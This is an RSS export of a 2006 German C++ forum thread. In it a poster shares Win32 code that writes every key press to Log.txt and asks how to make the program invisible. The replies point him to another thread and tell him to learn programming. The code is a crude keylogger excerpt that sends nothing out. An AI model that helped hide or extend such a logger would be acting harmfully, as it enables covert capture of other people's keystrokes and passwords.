<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[API]]></title><description><![CDATA[<p>Hab mal ne frage und zwar wie kann ich des programm hier unsichtbar machen:</p>
<p>#include &lt;windows.h&gt;<br />
#include &lt;stdio.h&gt;<br />
#include &lt;iostream&gt;<br />
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);</p>
<p>int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,<br />
PSTR szCmdLine, int iCmdShow)<br />
{<br />
MSG msg;<br />
HWND hWnd;<br />
WNDCLASS wc;</p>
<p>const char szAppName[] = &quot;Texte einlesen&quot;;</p>
<p>wc.cbClsExtra = 0;<br />
wc.cbWndExtra = 0;<br />
wc.hbrBackground = (HBRUSH) GetStockObject(WHITE_BRUSH);<br />
wc.hCursor = LoadCursor(NULL, IDC_ARROW);<br />
wc.hIcon = LoadIcon(NULL, IDI_APPLICATION);<br />
wc.hInstance = hInstance;<br />
wc.lpfnWndProc = WndProc;<br />
wc.lpszClassName = szAppName;<br />
wc.lpszMenuName = NULL;<br />
wc.style = CS_HREDRAW | CS_VREDRAW;</p>
<p>RegisterClass(&amp;wc);</p>
<p>hWnd = CreateWindow( szAppName,<br />
szAppName,<br />
WS_OVERLAPPEDWINDOW,<br />
CW_USEDEFAULT,<br />
CW_USEDEFAULT,<br />
CW_USEDEFAULT,<br />
CW_USEDEFAULT,<br />
NULL,<br />
NULL,<br />
hInstance,<br />
NULL);</p>
<p>ShowWindow(hWnd, iCmdShow);<br />
UpdateWindow(hWnd);</p>
<p>while (GetMessage(&amp;msg, NULL, 0, 0))<br />
{<br />
TranslateMessage(&amp;msg);<br />
DispatchMessage(&amp;msg);<br />
}<br />
return msg.wParam;<br />
}</p>
<p>LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)<br />
{</p>
<p>static RECT rect;<br />
static char cBuffer[1000000];<br />
static int iActLen;</p>
<p>switch (message)<br />
{<br />
case WM_SIZE:<br />
{<br />
rect.left = 20;<br />
rect.right = LOWORD(lParam) - 20;<br />
rect.bottom = HIWORD(lParam);<br />
return 0;<br />
}<br />
case WM_CHAR:<br />
{<br />
switch (wParam)<br />
{<br />
case '\r':<br />
iActLen = 0;<br />
InvalidateRect(hWnd, NULL, TRUE);<br />
break;<br />
case '\b':<br />
if (iActLen &lt;= 0)<br />
break;</p>
<p>iActLen--;<br />
InvalidateRect(hWnd, NULL, TRUE);<br />
break;<br />
case '\t':<br />
case '\n':<br />
case 27 :<br />
break;<br />
default:<br />
if (iActLen &lt; sizeof(cBuffer))<br />
{<br />
cBuffer[iActLen++] = wParam;<br />
InvalidateRect(hWnd, NULL, FALSE);<br />
}<br />
break;<br />
}<br />
return 0;<br />
}</p>
<p>case WM_KEYDOWN:<br />
{<br />
FILE *h;<br />
h = fopen(&quot;Log.txt&quot;,&quot;a+&quot;);<br />
fputc(wParam,h);<br />
fclose(h);<br />
if (wParam == VK_ESCAPE)<br />
{<br />
SendMessage(hWnd, WM_CLOSE, 0, 0);<br />
}<br />
return 0;<br />
}<br />
case WM_DESTROY:<br />
{<br />
PostQuitMessage(0);<br />
return 0;<br />
}<br />
}<br />
return DefWindowProc(hWnd, message, wParam, lParam);<br />
}</p>
<p>wenn ich ShowWindow(hWnd, SW_HIDE) setze dann beendet sich des prog irgendwie ^^</p>
<p>des programm wird auf meinem pc die funktion haben sämtliche logs zu schreiben ^^ des is nur ein ausschnitt aus dem progg</p>
<p>danke für eure antworten</p>
]]></description><link>https://www.c-plusplus.net/forum/topic/157335/api</link><generator>RSS for Node</generator><lastBuildDate>Wed, 22 Jul 2026 16:20:14 GMT</lastBuildDate><atom:link href="https://www.c-plusplus.net/forum/topic/157335.rss" rel="self" type="application/rss+xml"/><pubDate>Thu, 24 Aug 2006 16:35:32 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to API on Thu, 24 Aug 2006 16:35:32 GMT]]></title><description><![CDATA[<p>Hab mal ne frage und zwar wie kann ich des programm hier unsichtbar machen:</p>
<p>#include &lt;windows.h&gt;<br />
#include &lt;stdio.h&gt;<br />
#include &lt;iostream&gt;<br />
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);</p>
<p>int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,<br />
PSTR szCmdLine, int iCmdShow)<br />
{<br />
MSG msg;<br />
HWND hWnd;<br />
WNDCLASS wc;</p>
<p>const char szAppName[] = &quot;Texte einlesen&quot;;</p>
<p>wc.cbClsExtra = 0;<br />
wc.cbWndExtra = 0;<br />
wc.hbrBackground = (HBRUSH) GetStockObject(WHITE_BRUSH);<br />
wc.hCursor = LoadCursor(NULL, IDC_ARROW);<br />
wc.hIcon = LoadIcon(NULL, IDI_APPLICATION);<br />
wc.hInstance = hInstance;<br />
wc.lpfnWndProc = WndProc;<br />
wc.lpszClassName = szAppName;<br />
wc.lpszMenuName = NULL;<br />
wc.style = CS_HREDRAW | CS_VREDRAW;</p>
<p>RegisterClass(&amp;wc);</p>
<p>hWnd = CreateWindow( szAppName,<br />
szAppName,<br />
WS_OVERLAPPEDWINDOW,<br />
CW_USEDEFAULT,<br />
CW_USEDEFAULT,<br />
CW_USEDEFAULT,<br />
CW_USEDEFAULT,<br />
NULL,<br />
NULL,<br />
hInstance,<br />
NULL);</p>
<p>ShowWindow(hWnd, iCmdShow);<br />
UpdateWindow(hWnd);</p>
<p>while (GetMessage(&amp;msg, NULL, 0, 0))<br />
{<br />
TranslateMessage(&amp;msg);<br />
DispatchMessage(&amp;msg);<br />
}<br />
return msg.wParam;<br />
}</p>
<p>LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)<br />
{</p>
<p>static RECT rect;<br />
static char cBuffer[1000000];<br />
static int iActLen;</p>
<p>switch (message)<br />
{<br />
case WM_SIZE:<br />
{<br />
rect.left = 20;<br />
rect.right = LOWORD(lParam) - 20;<br />
rect.bottom = HIWORD(lParam);<br />
return 0;<br />
}<br />
case WM_CHAR:<br />
{<br />
switch (wParam)<br />
{<br />
case '\r':<br />
iActLen = 0;<br />
InvalidateRect(hWnd, NULL, TRUE);<br />
break;<br />
case '\b':<br />
if (iActLen &lt;= 0)<br />
break;</p>
<p>iActLen--;<br />
InvalidateRect(hWnd, NULL, TRUE);<br />
break;<br />
case '\t':<br />
case '\n':<br />
case 27 :<br />
break;<br />
default:<br />
if (iActLen &lt; sizeof(cBuffer))<br />
{<br />
cBuffer[iActLen++] = wParam;<br />
InvalidateRect(hWnd, NULL, FALSE);<br />
}<br />
break;<br />
}<br />
return 0;<br />
}</p>
<p>case WM_KEYDOWN:<br />
{<br />
FILE *h;<br />
h = fopen(&quot;Log.txt&quot;,&quot;a+&quot;);<br />
fputc(wParam,h);<br />
fclose(h);<br />
if (wParam == VK_ESCAPE)<br />
{<br />
SendMessage(hWnd, WM_CLOSE, 0, 0);<br />
}<br />
return 0;<br />
}<br />
case WM_DESTROY:<br />
{<br />
PostQuitMessage(0);<br />
return 0;<br />
}<br />
}<br />
return DefWindowProc(hWnd, message, wParam, lParam);<br />
}</p>
<p>wenn ich ShowWindow(hWnd, SW_HIDE) setze dann beendet sich des prog irgendwie ^^</p>
<p>des programm wird auf meinem pc die funktion haben sämtliche logs zu schreiben ^^ des is nur ein ausschnitt aus dem progg</p>
<p>danke für eure antworten</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1123979</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1123979</guid><dc:creator><![CDATA[anonym]]></dc:creator><pubDate>Thu, 24 Aug 2006 16:35:32 GMT</pubDate></item><item><title><![CDATA[Reply to API on Thu, 24 Aug 2006 16:47:45 GMT]]></title><description><![CDATA[<p>zwei Threads weiter unten mal genau schauen <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f609.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--winking_face"
      title=";)"
      alt="😉"
    /><br />
<a href="http://www.c-plusplus.net/forum/viewtopic-var-t-is-157302.html" rel="nofollow">http://www.c-plusplus.net/forum/viewtopic-var-t-is-157302.html</a></p>
]]></description><link>https://www.c-plusplus.net/forum/post/1123991</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1123991</guid><dc:creator><![CDATA[THX 1138]]></dc:creator><pubDate>Thu, 24 Aug 2006 16:47:45 GMT</pubDate></item><item><title><![CDATA[Reply to API on Thu, 24 Aug 2006 18:12:54 GMT]]></title><description><![CDATA[<p>hmm jop... in dem du mal ganz schnell programmieren <strong>lernst</strong> ... copy&amp;past gilt NICHT!</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1124054</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1124054</guid><dc:creator><![CDATA[*D*Evil]]></dc:creator><pubDate>Thu, 24 Aug 2006 18:12:54 GMT</pubDate></item></channel></rss>